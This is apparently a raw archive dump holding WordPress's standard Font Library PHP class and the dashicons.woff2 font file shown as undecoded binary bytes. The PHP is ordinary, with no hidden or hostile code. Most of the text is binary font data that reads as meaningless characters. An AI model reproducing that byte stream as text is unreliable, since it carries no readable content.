wordpress-alt	wordpressxingyes-altyesyoutubeclass-wp-font-library.php000064400000006653151024203310011415 0ustar00<?php
/**
 * Font Library class.
 *
 * This file contains the Font Library class definition.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * Font Library class.
 *
 * @since 6.5.0
 */
class WP_Font_Library {

	/**
	 * Font collections.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $collections = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 6.5.0
	 * @var WP_Font_Library|null
	 */
	private static $instance = null;

	/**
	 * Register a new font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes,
	 *                     and underscores. See sanitize_title().
	 * @param array  $args Font collection data. See wp_register_font_collection() for information on accepted arguments.
	 * @return WP_Font_Collection|WP_Error A font collection if it was registered successfully,
	 *                                     or WP_Error object on failure.
	 */
	public function register_font_collection( string $slug, array $args ) {
		$new_collection = new WP_Font_Collection( $slug, $args );

		if ( $this->is_collection_registered( $new_collection->slug ) ) {
			$error_message = sprintf(
				/* translators: %s: Font collection slug. */
				__( 'Font collection with slug: "%s" is already registered.' ),
				$new_collection->slug
			);
			_doing_it_wrong(
				__METHOD__,
				$error_message,
				'6.5.0'
			);
			return new WP_Error( 'font_collection_registration_error', $error_message );
		}
		$this->collections[ $new_collection->slug ] = $new_collection;
		return $new_collection;
	}

	/**
	 * Unregisters a previously registered font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug.
	 * @return bool True if the font collection was unregistered successfully and false otherwise.
	 */
	public function unregister_font_collection( string $slug ) {
		if ( ! $this->is_collection_registered( $slug ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Font collection slug. */
				sprintf( __( 'Font collection "%s" not found.' ), $slug ),
				'6.5.0'
			);
			return false;
		}
		unset( $this->collections[ $slug ] );
		return true;
	}

	/**
	 * Checks if a font collection is registered.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug.
	 * @return bool True if the font collection is registered and false otherwise.
	 */
	private function is_collection_registered( string $slug ) {
		return array_key_exists( $slug, $this->collections );
	}

	/**
	 * Gets all the font collections available.
	 *
	 * @since 6.5.0
	 *
	 * @return array List of font collections.
	 */
	public function get_font_collections() {
		return $this->collections;
	}

	/**
	 * Gets a font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug.
	 * @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist.
	 */
	public function get_font_collection( string $slug ) {
		if ( $this->is_collection_registered( $slug ) ) {
			return $this->collections[ $slug ];
		}
		return null;
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_Font_Library The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
dashicons.woff2000064400000063024151024203310007460 0ustar00wOF2f�He�BV�v
��@��@6$�P�* �"�S�'�ݗPn|�M�1�F"��
��tV�59���3�Ș�T.i�un"��hU���k�T��J��;O�p��c���
7��ݧ`��������yZ��5Q
�W8�exh������2q��$�}~�fð��$l�%����j淴��B,���w~��K|{�ս?�t���`�95y��!9j��/�2z0�ىU�^<�K�>���<[��e�Y_��:Chg�,��O��/���Zwa�L�̅�%���cd�Lw���cW���:Q�C�v9k
v�+�Z�Q�N��@@km�^LB1�x�$��C"Z�f� R���`�1��
��i$���0�T��y��+�J�T]��z�X�7���r�+\�J�]T�Ja�ap��$����0N�sF40]�E�,EVu��u�8���X�s@��r/�m}��f#`{:@@�����������I�����<�m��Ό0�J\��b	:�%�U.�Li�2�MKlX0����^�c[�Ϸ�[�mI�90,0=�r�����姕�ŀ_����\�������wA���P����|{'�3��܁��9wr�sO;w2���=��;yD#�օ��EM�35-U���Wf����_K+9��A?D0N�@cض�7�!�j����H�vZ�S��Uֵ/v�/��}�A�D�H5��B���E�H�g"1M)��MN�()$�H{�R$�ɩrJm��v9Y�����l��*=���_{4u�ݾ/���T�󝟔��4*\�_�
ajMB�
'Qf+�Jk�ǔO?���9@�D��F�1]��.�	$��/��aLU0����x�C�<�nØZEMnjE��1�6KM@A��"�"P]���.&T����:�@bW�P�K��-
����K�эRAփh������(TPj�<�'S�HE	��+��h0����𬉭XR�}P�����AC��Q���Zm׊X�x���d���?FU����o��F������q����g����ԟFD�F�r�����u����m,�/����„S,��,}%#6om[���[6��d
-ƈ�s�ou���\|iRH����)7L��]�x�c���c��162��5�j�ґY�)).���Ti�f��Mъ�FX�/���.�C8S����C��?8O���Bc�q�u]��5'�t�1��R�r�*)���a��23�5ۈQc�M���J4��턓N9�W�Sx�w�D>B!�Ÿ"e��j�I���(������s[�o1��	~�o�ܭ�3���9�b���XBL���('�i�oȏ��{�OFu�6i_�?�*�}qZ���̐�dB/����)H#\����x��&�
$K��PZA�����-[g}�����_�%��t/��J]�b���36�z�|CV�c�<�}��ET���d����JY����ծC�~]:�y
7�k�G�2oOM���n)ڟ`ⷌ.�\0*e�W&��BA �aP�b@�"���2@�b�&qP�xXM�K��$�$C%R�0�
%�42M:T#�L'��Er�&���\J�!�Re�B(G���PB����`?�R��cT���050�Zb�:Skh��h��4���(-0�V�_ɦ�����t�T��=Ђ^�AL�f3s���&��#ДQh��f63#��-L�"��0[����e����1��2[!*�Dm
��Nl�@��E�m��x�]��G��I�$�A�r*s���(����q��	���p��6N�M��88�9���ø3��B�\%t׈��0����0�[$�����u�sp�����p<!O��3��s����KX�+��k8�8�[8�;8�{��x�����7�3������o��w����I��"
����/��G��O&��8(�(��P�@	�%a*��APBea��PFBa.T�qPfC�Ua2T�iP�C
5a"Ԃ�PFA�	uaԃ�PVCx
�4���nA8
M�4C@sd �@AK�"������ ��
�!�;`��7�RTF�
	�a��Ѱ����-��o�	H*�`l��p�@���i�����0�f!�2i	�������!��,��+x	��2`1T,A*��kX�T,�/�pV�!X
`5\�5P�
�
}�Jև"�
�(`C���6��	����������|���_���/A=�2�|j���|
��a'|cBm`|÷a!|�w���φ����>���?DZ~C��0~��P�3�-��H+�/ /�â���'�w�	~�C:~��������'x�����+������	��?��¿��>�=����TA�2�4��"X؅��,��V�#��!�B�.�"T�РB���#L聰�3†N��?����"@z"큈`?"�S��"2d"�Y�V!ʉ�*�������t��&���bCp Fڱp �	���o�s��pJ"���XA|b��p��f����7@9ߣ
�p-)?�%�c3@���+��Y��3V`z�#�|<�Rd�&Qx�N�7���BSA@N�,��b[10��I�&e�e�H�D��$�y��|��dI^��w�<��¼=�M	%,�˙��ZYb+�e%L��,��KP�
�k� :x��_��IM�T��I�S�L؁�*ɫMJ�,�x4���L��2�ǻlv��ؙ*Db�)�e*K̳�9��=q6��䔽oK��݆���5�ӄ�	����n����łT�n��W�oU�|�޳���`����yo�_�#��=��?���ܧ���s�'d��M|v#&K#�P;�f�/G��LU��W�j���']�[�x��3 �d�����`E��#�3�cO#��z?���7|	q+�`ꩅf�Pu�ծ�2n�!��ͧ�3n#k|Qn.�Ӵ�E�%���6)y�E�3� E&��`�..cm]t����h��G��ފ��`�ec��j������}�T~}x���F�yT���n}�ݾ�-�[yh�b�ގ�"�����e(�X��օRqb0w��1����%M��m���l��w�=ɷŘ�:�z�$��������$�{�d���,��c��A��f	���$k-F���)���g��)@8�U��z*�
\�a{�c���U>fp��]K�yK�Ʋ�
�|ɀD���L�=���'�r���hU��{J7Ly��}�#�+\��
�E�󆖼բ唽�9�6M.�m�wB���>����@Ȗ;�F+������V�4>�W��Q&�K��o^V̱��BIt�=�/J�L*Ò�ј�#��Y�HNE�����
(5��
C���P*��eD���c��A/hJ�>��ǽ�		��2�]��󭶭�_HF��!��z�l���i�N�2 <�5�gz"B>���Y2�)3s�nK��\��ޅ�T�tZ0dQp�H�<�Z#?�	c��E{�3���ٜ���Pك�o��|�y;)46.�6F�o�ה�.���y�;�/;W���8cH�:�=�:K9�ʅi����*�7�d�b�4H�A7-[��,]1��Jf����6�+��eaƋ.�a5)ǐV��8u�5-r�,ꮰFz�����t(�r�
E鈈���4]�>�����А+gד�`�"%�c0c�R`&��W�����f�C-,[��XD�eɨ���aoOR��I��W̏����+��������[��x�(E}BV�׃a3N�lg�����CT��eTH��ub6�,�kC*���=�	f�JE�	Kb��%�l�0�M��Z���N��u���XW>W���q=:���GL{@=�Ҁ.5R|�Hc�
�l��<��;!�Q��P�O
��qt�:i�yzi�������?�۠T���t�:����O�uq��c�T@��HAW]���_��`�����K�,n�h�f�u�c�L�Lq�Z�t�/�Vt3m��teOuV������y�i�s�z�{�ſQ�Z��7n��(���f�7b�1�͆	���ڿ��:3d=���.��/~����a�
tZP��w֐#���c�<m}�����Ŵg!#��+e�O�·/��@�Nʳݎ{[]�B��Uj�!,o�����¢I����d�6!$Aݤ�t�L��20�~9]�����e�-?��be;/��\K�^��.�uz8�a?��.Rg<5��|�T��ڣ�^��E�0W@!d�(�4�z��F������i�6i~��,s���4�a��yQ}U:�T�_M��|�P#\��������tE2%�M_�o����7����3�]=�D�t�fo��'�~s�y�7ޚe���h�w�U�.�����;�G�-5�PT��N^��+',<a� h~���S5�3܂�:+�q[80�^ӛ7Sc?W艵)mY�+	�n?r�lG����mB��M֙�0��,*�&�X�_�M�!:x��<Ղ�r��q<,�
*A��	�AE`<�6���~�{�Q��|�E����J�ypi�q�JJr<%ʩ��H`\..���W𖻋�9�+��0���x	%��ԝ�:N�<g��@��"J�ᰂ�d���0����y�����l�_�~���DF��s('�J%ӡ.^��`��w� nS7��c����r���vaܡ�*����F��
S���ߙ]=GBn�͐1��d����(�#�1��a���݄m��WF��R������.u|�7M	�$�w�3S�r���
s��r�Ǽ|�oT�p���k%�%	�JiE�'D(�>E������O	���φ%���ڼ��(�^��l S<����<�����Z���{2�N�
��f��5W�T���`c�)�n��Q��g�s�"�,e�)1�F����,~	"Y�O�U�ĕZ�y�\�]&�a��L�\����c�ȯՋ7(e	��O����Ls�#Li��2��F��{E8��K�𬥎t�9���c��Vѻ�vDMx�O��ǎ�|�~,?�)����2~p��j�bӱ.���)��/�ǁ�2������ ��{T�m���n�D^�x�s�z��DG\M�����hq���~"���Q����#y�)�^#Q�����d0
e��V�a	y�����j�K�糂}�A�U���#>��.�Ԇ`��>�>-Ν����D�T�C�����6�F&��t:��͕�g@��� @�3O\/:���wZ��a�G.a}�ƛ��|��,$�)i��ଽ�/\��������:ԕ�W0	�n͹~�u%��P
z>>ӯ�V:j襌��
���~�n�,^I��~��X_��Xny��h�_��8qѧ\)�����E�۵��v�m/2��9�K���ƣStԖo��5�˾�|�B��[� u�����s
�%]6z���9�::]�Y�2&�=�ma��vy=�'$L�)�2�b��\S�3�TT$���������$C"�y��%<�*�bt��9.p�7~�9`]a�� 8��z`:�h��6g�{��K�@�+Mь�a$S���:���Y=��Hg��2<� �^8k�BJޭg�Ka�a5�?=�eկ$7�@�77t��HR�#�"�?J�Ѓ˺]"�á�a,v�䉉�ߝ�5�n��B!�0����Uk����Mݘ��Le.=���01Y���,-�qI��cV��T����%�R����Q%r�_� 4�rP�`�QQ|1Q*f���X���n7„�B��|��+:W�1lp��#�b�gNͿNY'�g��\aPFnX�e�}6/�D'��
��E�>��'�ьݖ�i8��1���4����8�l��:�M�䷯����C����%$�s\���	��j~�`�~�f�k��}H�y����
�C(�OFr0&�>�)TT�p�X4�T�p���5��t�J��ӻbv[ƃ���l�p�Q����[��o�^�eY�ۺ�U�5��|G�e���T{�s���y?_)�%]����#��e�[����X�4m�X��(�k�,���HͲ��j�`��H��0	ɵ��2%�MS	�vl1x�*i��
Ώ ΌËYo��i��5g�꠆'���i��	ư��vݦ M]�&1N�>�΢�{n�Z{#��&�B.g�J�����1��xZН\&�Z�B�㷃�K�[���X�0~G�$���:p���ؙf��[�0�s�Q)x�ؔ��Kd7$|���ʃ�X�x�1����^��?OC�l���A���]�x�e`͂��e��4c��m�|
yb��)0Q1��ZX�~0	RA���g"��#K�������@������h�K	r�Ա�Z�'J�!��$Ox�ښ�{�E<���"E�.�D��궥l8�O:��f�$��� cJ��2z���GRU�B�[XM�(2��B��^��o��{�w͝���'b��%�W���3J�]��bc-��R�x��s��2�	ߊ
��Q�LU����[#2�p�bD�6MU�I�ۙ�aU�9t�	- �<�?��r��-ܓ���뺋��双��|��
�X
�TJ�y�6�d����@�4�?^D>mr�~���NH�����Pm�)C=�e��n��I�v��ц58t�+��XӀ����PI�p��T�C�m�:�|����No����+��uY��D��sf��m�Na)m2�6ҩ�L�'/_y-�_t��"�(���IE�P]���fcȺ��W��b�qv�l���S<�`���yR�jH^�mOf��j�qLɮ��;<�'I���jz�s�)�����.�$[�l�����,����K�gd#�� �s��85���"߉^QΦ-	z���`��e/w2n{
Ux�Qϑ��A��']�m(�=X��J�~Tz�iw�ݗ��lr�H4:����ע�{��K{�{z�H��d�}��
��y���FU�W����)(+P@�%���gԪ�’"�� L��"+���g_:��Ă��|�'���>#e��#�>�A>5����8�&UhO��эBF%۠�TXtR�E^��7oS��m��d�_?0X�}h��鍊c�u�m9�m%��ga�����JeQ�c}���2���[
�H�
W�;+HV�Y�.�`���b��e�50.r�xY�"��O�Ŷ�ȗ�w6�����/�"����U�D)�^��+���
MR�3�>6�%࣠�������=A�BBֆ��^�X���cGP/��{M�]��^#�_��1}�.��z=S1�|�Vj�Ց?;lS9��boL(���t}5E���3�M��W�ޏIR����_�w�_��b��oҙ�^�/sJ?�3'?�Cx9�BE�}
�/�5���o���<� ����X�H~@�4
	�צ��"��8��'n����=��5�0�7��wܼܤ��tC ���]�@�,�G����V�&�Ѝ��]���v����lw<�k�*O�c!���:>�l�b�)���[�!��<�k+7�|��T|BØϦ(S��J�����R]����� ��k��|^j��bK�4@�v���.u��������ބ�g�0p�4�B��b���߃C�M��j?�S�*
�|�S�hR�t�tH��_l�Tu�R$0O�s$>�9Swz;$)Pq\�r������ίZ�t��R��:J)�H��b|�A�
���m*g"#YOA���i \�{W�́yx;ԇ�)f�[� ���ox��0}xs����^��]��N,<�_W�U�u!�ѕB�<� �qI�E2�@I�Oj��uw
���g��qv�
q��;
���[|��
���d�7`y�j@(QEN)��/m8���J�V}+=p&��4!��.��$�HCVL�U��@cRewz���W��������h��D�$��e����M�"z�>��N%
)�PUy�5���M�9&BL�=Jw�̱7o	�WH��#�=4n��=c�:�
W*�'�^x��:
jZk��l<Ty��b����!r<![i��ݘ%_�\�Y�i������Z؋M�áU��I�L��B<�����~%q����>�$��L2&AAm�-�Uh�����Q�ցH�O-��19a����0�����ءԓ
D�~�b�u�4Ydz�D��c���Ȓ�/<:��t  � �6��Oa�Y���D����f��}���HkqSn#���o6��$�m� Z��#D��H��Rh<?̮����	Ƌ�)�=dI����� �o�Z^���
B�b�Ы4i�:
i�[=�ƃ̙CP��O�mRj�e�V�޺����ab��(�IbE}�l��N78$�Ꮷ��/�g�Ũ
Y$X��`�d{���8� ��*�&�n��+LԺd�†�Z�NjS�Ϫ��_z�ئxrj�`P>�̶r����/sU|���UO
����2�:YM����x�ҹ���I�.C���…Q���H���P���E��q9:�J���G}�L��M+�W	���#�g�62����3ձ�˧B��o���{P.��*;�pp��(�`���0KD1��~]���Tr�L�J�-�r�HWuD��>G��&'=��tB�TȗY�n�N���4%Ug�ߓ�a��!*�k���򝡎P���-gb�_j�Tc�ؒ��	F�s�4��q�}���HPː0bK��,!�ZTM�.f
��Y(SA��)�)���O��?�I�{_��ې�|:�B+��^�YK�s���!��<lb0W%rgS��p3�bnb���ƛd�6�և�4�iH�y�Rv�N�eAe�a%�0q�)�y�æ�и���b}����5�K�F�N�����®��		�C|���7�*����LBm����.�[7�����C9��F	X�7(F_���<r�-�U�jR�u�0�ŀ�����r�+T��t(wx�p7���E}���e%C��5]�
�-�q�y[nbN����q��n<�v>�v��'1ֱ:�YAS�x��(q1�2�ƇXd���`_Z�����n��y�M����q��6;�y��c�V��=d���X�PE��˩�P)�#��1p:�fɛCx#�9f�j+��]QT�S̢��$�\	�L(�Md؀�*�%'���{��6��\RU�a�����B??kh��v�<���[W�������C!��Zu4qԕ,�I�+U���$�<l��L��'hD����t�,]��;�o���v�J�<��1����3�z'���ST��-N&&�
�˿��l�p*�jnX}A��"^�n��<r;��Ԉh�����<:��aP�����uT*A>�nN�Ӥy�&[�$��R����mV���K�8�v����AL$��o�}����Xx7�t�K�����i�j�!��7LN.����܇O3�fm~$ڝ_�kɬ��i�TE�X�
*�Th��K����B��g�f�TgDk;$W�18��&bC=��xY�K�h,����/<2��㏾�h�m�Z�_����.|�cO�X���m�G���G��ָ�W����Et+9����I����v�O��pd
N���3:�M����zO]��&�D3B@��D i�����M�kP�iz�e���^�HYD�T0��,��
z��
N�7����b�[���0�#s&�sG��di�,����m3���$���8�̉�nD���a�K��^#ö`Y��q���yy��������1���m�m��Ϭ/�\O=�+�P��ں�dP�1��e��!�N O0�"�'ww��;H�w޵�.I9����Au�$��e�&����q�2�
B�d�����8ݩc��S�w�+���\�ʄ���GG��N�Y��o�H,�+��uojT8D�da��e��F��5�r)�Y	/`P�D2}�A�����4�Kh����:�$�_7��l)⽄���?�N(w~L��i�nт�W����*�<	�ZS�YF�3�G����,<�p�N�A��/�ÔiQ��|gpE{�gJ:����j�T�L��r"���@L�7�J��p;�ƞ�G��`�q��C_���̋
�Ⱥ���?����,� �ъ�9Q�d7[�^�?�Z�t���Ҍ:�f�G�W�Seq�)���D�*�Z�^�a؀L�[�}5�!�ؗ�U�q���"ř�WQ-כ�T�)IOkNk��scV�YaKj˲Ļ�Z�>y��I��)j�i��ٜ�F���W����qرu����,�_��s���t?�7��Iװ �^���sX��Q”����Z���U�fY�����yS�z�kmW+�3mY��֭c���Dƣ�+��-�֩a˥(�
�fn��\16����&�}-���_Q��=����B����1uBV��*ޒ�&E�6>yQa���/���ñ-�2Mj^r�lI��=����S�lS7���f,�J�aDž��@�
AlcSTf�vZdxBH۽�>n����Z��{�����푛����Z��q;K!z!9Do�LY{�m����$��/R_wb�-�����0�*#^%�/��ATQik��CC��U�.��޹��!�#����m�C���1{�G�Q2��=_|�2B�:�v��Y_W=�\�yhs����/�v��xL4$�v��l���Wj]t�F�~*?s�:Զ�^=�}�h�њ��������]/{,
���[�۝0�FGig��x<~gs'�ߘ��WN\���d��nMGލʄ�-r�Ѷ�&.K|�Պ�I-�G.W����6?~l&�OΚ�2�V�܊�n�tM���)��u�O]8k��T�t�Ɓҗ�0/�H9��bl|�1��	~8c�4��yL�g�+�+ukLZ�_�[�dhet�-�;C�����$�f���ם�������48s�/��d��ZQ定x���z���O{�&��Ǎ3ӢK0��_��y!�нȔ��,f���$ �8�ax��l.*�UYj��;1��%�Lπ�T>�iDs�.T���>��z�o��M�Q���Ʋ��i]�;}�J~&��ƦR�y
���z��3���b����DS���`t�i"�6��
��(�@4~D�i�
�hd�qϴY�����ky9����q�_�]�������.��������sݽ��qO�����;"V��stt���}�s
�My�z�sۼX����K�rL��?�𶘑���@��G��t�̴+��?�����j�?����۟����oݯ/	v�]m�W��)�XiF{�b�x}�5Y ���.���H�j�깞�ɇ]1�+���7?*�U-�]]��L�����e*uCf
�Km6��Ÿ:3����jT�����jZ2���E�2a!OE�Jx�TQ�s�����ȿ��#];�~75��|���78���y�E?��Of�T-!�o�=������ħp����*��1v5,��:?/�`[ͻ�ʿ�>j�[
|{2Y���+�q��u�0�<#�innvΰ�_w��5�k�R��_����(���h(3"�f��s�)3*�򧿱?D����P�o�fg�޵��W��~�B:�E�[�hg������� 2��߷�͎�#�eX��a��n#�2l��uew2�
�'t�b����� �q�p��]nx�Ģ���r����4��{���y!텹�cL�o���հ�a���sa���X:�y�ލ(���%�ǂ%eAD�O��Y�6��-TS}�8�&�TYv�d$sY�U�-t����l�H�XԬ�h�}t�6e���R�7+s��W��Q��&!��1�5�K��}y?q���U
b���1j\���$�J	D�&��q(�oZ�0�J��{��ou/��
���/��ʥYB��z�
	q�x�3D?�� ��c
?H�|lK� �P��љ;�*(�C�j��\˫
��Դn�hBdd*l�ػ
[�~�{na&���lu2�2�\�ἁ#
 �L=`������p4rj��˻ޝ3�13w������}���2J�>�o��:؊�-۳<��Νi�>��Ѵws�o��V�e�H�p�H��ÝO���g|7�(X�����x�4��o���:q�=>�ܴ�~z�Of�f�OqD�tM��~�"���fW�L����>����%Ăǹ8�t:���B�M~Q�K�i��xޢʄ�#��	�G�Q�{��`jL}�y�[���TV����w�x�؂�RVq�L�zVFss�d���8�'�����d5�+a�b9s璴��?v�z�z5�R?Z�Gf�T�S��>b[�%�%+w�)�J^B4��_� >�kD�B�%�%��dE�1/R��m<9U�A�@F�
�k�|�<)`B��^hB6�a��,��S��֊8��+�8;�X�sE���P�`�k|������{E �>Z�$^��,Ώn}g�}�@��7[�𛈰�Z��v���硊�
!Y���>�����r�)���ƈXVu_���Η�CMcZBi��e���;n�f4�O@Tv�����W�Ă�p�R���'��
�u�xT^�\fO��q��m����L�o4��N.�n#�$MnLJj�H.��bS�(|�N�\�*���fW��W�^���erCޣ��J��q�q&gI��/C�F�:�%�]�u�"�p��K��/��)bS%4%z�pg�кY9���i\B^���[&'�i��	�[4�jE�&q��\�q�-]��'p����.��7��_w�W��@%6�-�|s��W�"P������j(1P��UR���#��_��'܀=s���?�����\�!���>_�ڞc�]E6l�eL1Ph�1
MA(c�d,����C��>��"
�'X?�G��6jɰ���EU��h��497и��]ݖ]_32�\�Ά�3��ڮ���fc W<.�(��[fơ��/�݋j��f���|�	�j;?���^[�,���2�;�X��Z�}P���=�^F���eoR�$f����FM�Osg,n����pr�>]�.�c�I��l�h��m�2]�O��e0��jyf�ⓑ���Y˰�a~�����_>D���v@��`\�l�r4�lQn��޼eXn
�9{f��p��hұN�`eAGe�-C{V*�eK�94�h�Np���蠠�ۛ�
�MW:��ʅڗ/U��E�SI�k�Ľ�~��w��%9-+A��JP�[S=JP=��.T0$��5N�8���A�o�_`-?��/X��=�{T�X�⽦�˲yƬS>������\KT� �@_؀��m�>~�ϲ��4�ҵC��C�.Y�iJ�,�oWOO�e܍G������(��k���&]^������qC�jW��n���i�����N�:\<��o��~ޣ�S���g�5���~I)�G��D����B;!9i,xs�I@��a�� .���Da�|f5"J�qJ�h���K��$i%�T��aq�VV���VT���_ȶ󒖁r4�;��q0�"�0�iF��b���
�YW�zTO����[��,j���$ly��iR���+/#sz�,�tr顂����|���~�vX�0��:he�Ĩ��Q��T:&&�A�;�8�3��1�}�uuch��J�v+_0&f�,l���"X�3�4�]�4)C39�'ة����U����:L}��ܦn��o�Ūϫ�w���?�MIS^X�~R���j}I�A9+쓷hy����h�]��3���p���k�*��3rNP=�J
���RL��E�Ën�08Ȥ��R`E��
1p$�IJbt�����U��Z�.�M,Ǻ85�F��w�uy\y��w�t�ӷ�#p?{�vn��9�0n��q}|
F�~����e\j�����13Jt��"�[���g��[�@�dc-�іX794Sd��/��LQ}��(ĜW>|4x,v����D��g���m"۳�q�"���SE$љgX����}E���e�py���/.w/ʻ�"�w_�D0���f�����x",344�$��K�\�Z���a��w'��%p>#�LX���R"c��+T�*����6K!:VW�b�U8޲�`xeYx����y.���;X[:A�ς/���E[��B�&���?eS��CL��O�<�84F�I?v�f�$2#�����+���7�O�|�������0�V��~�K|T�S>�Ee�Q�=]�{�����?�PH�.�a�tuB���Ui�KLڰj�T	�K�tq��a��*���N^���=Eܬ	te�{ym><c��O��]]��L�k�%NH�=c�h��.�<a���q�&����Տ(�U�¤�H��Qԃ�ݳ���-�pw�5�~ᾖ�e>z1�|k��o�k��,����M�
M��o-�Ӄ���5C�Ǩ�=D������=a{��j_���m�PdžA�x#KiY\施��PH�Z�QtI��Dq_��=�₂b��3ի�Ý��Q=�a5N���	��%Ay��BSb��
}��w�܊��m�v(�0$�imm�Fv���z>µ����Z�X�KP�_������^YX
�����9�W�q�+����b��F5������A��ƭ��wUs.ԅa���x����Ժǽ�؍�GՂ����:��'�M������精8����GA�V�+�3x?f|;Ŭ��!>�Pn0�s=Hc
r�QL��-���T�D����ĸ�h�`lYD�$�t��zm��CI�No��6�8�{��Q�YP�2�?5�z��:�͜�É�ڧ�#ͥ�tk�4���4�V�
����	o
�7�(��x�E���1����_�>��vhԘ:�!'�	'am��[���`A�t�l��ܣ��6�l{R
6mٸ�8�iӈa�$7*��� P*�it�.B�P�+�i<d%�j�����F�{ëxg@��Uӕ�[�[hB��]��|gt��݊O�غlYE�<I�������gF+�S�ؔ'q���D3M\,��%��\�&�\���� #Z�rz��a��o� ���tN�i�	�T|]]� �FL5w
fq�jc�@c�+�<��KtC,7�5����C�#�>\���S�ZA8�M���]��%��M�!�/EU)d�����)�!q���A�
��x�I8!WE�_�`4q�e�l�����3��G	-jK���Yʅve��;����:����A,��s�u�T^��`��'�n~������")�L
������*��Z�NU�9�o_�����Ïxί�|s�
4��b�l���d��`o?���m�QR�,��Ƨ1[b�}h��P:��ߡ��B:�O|�����gj&�I'\m`0�O�t=3G7�L��GP�<W�%s�L𶞰~Zr�Y��UM�r����&�Ό�
�잹͗ädQyT�	n?D��Qp�/,�0�_P���rk���	t[픵�?��l�9_���C(�V�zQp.p��V��s���X2�Fw�Z�s
"�o���}
�O��c�?tS�3;�����M� 
ۥ��x�Ԯ��~�o���
~���>�\GM����G�i˯�����#o%��#G^D�X�Bl�L]֩ȩ.��H	�������p��Nӻ��w'F򽥚�`�X܂�%K6�^-K e�^�;�q���E��7�ˇ,�YyZ���D|��G�4�-nT�<H����;�	7�O4+v\`x��%���l��oT�eO����RDa�͏2F�uYYM���ߢ��t��u�<$O��������n�)yÛ�"r��p����$���5���fҁzu�����&Xo�cd؜�"�2��9�������E�f�ئ6�z�vtg�����'�
p��(��R�W�]��WYnt��[ou��$�^e���2\Y�b_��L��c�D��S>BW�t��8�q�!0�I=��)�ü��io����j
 ��	�.��Lo�Z�
�2�K�PیF���ϯ-��b0��Y�h��@��#?~�P��y�.���_�F��*��;�|>���.��ٓ�5���O
dqLԭ��Xn�=�1#�cJۖ��
3y��3��$Dcb�X�/v	�m�^�1��<º��L���5�IMY�ð�����{���������4&1w�����:��3�?)�{����w��z$UX��@����+c�T���ޜ�:'c�C�^w�$L���rw�(@)AX�s���Q���
��FGC6mB��5�<x�A��`�.od=''�_�+ҘZ�a�HCZn�u�e��u�q�S���|y%P=������y���. �2@�$��%&UC�q�GqԊ�_?�6�k�|n����[��%��>��#w49�V^x�o˞���:���,���w��V\�{f�O	��� sL:�|��+�ir;�yC�3�+�~2�R�z4v"M��S:�(v�/��5�#(��0��;�u�0�z���O�֧k-A�ޘ��k�P�әZ�p�Ԫ!YV�Dc\P�XY��
�&��,�i$+�j��^:�D�0���ٕ� ��'
(���?ל�^�m�Y��6��5�����]!�ƽd�(:1��!]�.���sY�̈́�˻������|��
�W�������3s���k�iӫJ�nrp���9'����	�<n1gn�;�+��mJ,<��ͯ��7���W�&l��@`��$�����]�‚�F�&j����P�0����>��@�.̨�ⲥL�NrZ�R�twؕ	͕�v�&�Tℊ'�S�&"�7�V�H����X���g�e�ƦUu�=x4Y����K�0	��:��s�wo\#����ĢD1��F��e_��)i�7<yͷ,��7�y7o��w�f-�ۿS}ˮM�G"�[�W�p݂Q�(�qW�~$w�B���1f!�l�Q���FD"�e�xIJ�v^���*u1UI��4	&z�t�Y�:�� �s����i������"�b��U��S��m^5�5��5ߣΖL�a`��������d�S�#[FA�oN�~�)n���;�D���5hEZ�mo��5���c������Ɂ���e ͬq�1��Վ��xz�`�޲ɧ��
�DG��[�j�R]�i>�!�9�;,,�
�}D�yf��
�I���X�)G��{��>��)ݹ/i�������!y��Aڂ$]�9=��B��6޵�D/4��5��(�!`�)%���Q=��Ziā�T�8؆:E���q �^�s?�*tc�@�x[QYQ�}������ۍ�*QKC��,��yT�ѧҶ��m���]���,J��)[^hY�UI����/3Tr��{8�������aE�p[�z����)H��JY���|Fa%��������͖�,��)�!�}i�Y�΄���C���0N6FG	��A,���v��� �uV������E���Ban���c]�`�5��6熖�Y���p�z��2�B�1g���?��L+S7Tiu�W*Ґ[��|�֐b�J�J/�}�p8���9�rm���v��,�,213+٠Uz-O/$�F�8�
Jǝ�����P`L�ޚ4��Ь��X�ʍ��_�C�^3b�Վ���5�:��&���n�`��9�G*���Xf�
��2@��]��Q�@�t(�D'�	��·D72��{���ax��en,b�,0^��p"}g�U?��v�S[�a"|͠˴Y))�V�ky�˴�X��=Q�,�|*vשw����Ln��F��A�{�lxo�^8ٻ�N����[��%P�>"��1�7
�=�I��S"�[e&��x+�������祖��x�ͧ���@�<����|���
z����1����>\�a��>�?��a�5^#�.4V�ӏ�1�(au�nz��|�s v���ns�<�<)El��n��L����Z�ZcҊ��;�C�:Ў�֕�0���H�1���w�N1�Q�w�(�ͤB��o�_�q�r��f@��8w��m�[^�چ;7�w��G�w��qeω�(j�<�D���'�&#�Hi\&�xP�6���8xr�>j�M��fU��A��u��b��*��#YS���Ɍ���U��髆�T�\4��;�`���!Ϝ�~�)Y���g"��0���KL�G�����,����w��1��Do�r����ͷn���~�+oW�IxU
��_�0o�;����v����tA�&�7
@�:�c�b�d�����q�IvX��*�G�91�G�؊�h���دaH�K�F�I.�S0��4(�xoz6DJ:�_A�|�����	���w"��d-Vp��I��^��(,�f<�����Jj	q.�2�DGg��b�
�`��8t�ĸ�g�`��B��y�������wo�����6T���]=�z�N5�H�O�o}�sF0���Ox��V�c��[����m�0���`�:<V��A���O�"j��� ���}󳮂��
�H]!�~�2�9��i�B����柤Ѹ�ރ[OM�MP��L9�L3�"�%��_yаƆ�L9�ؙ1
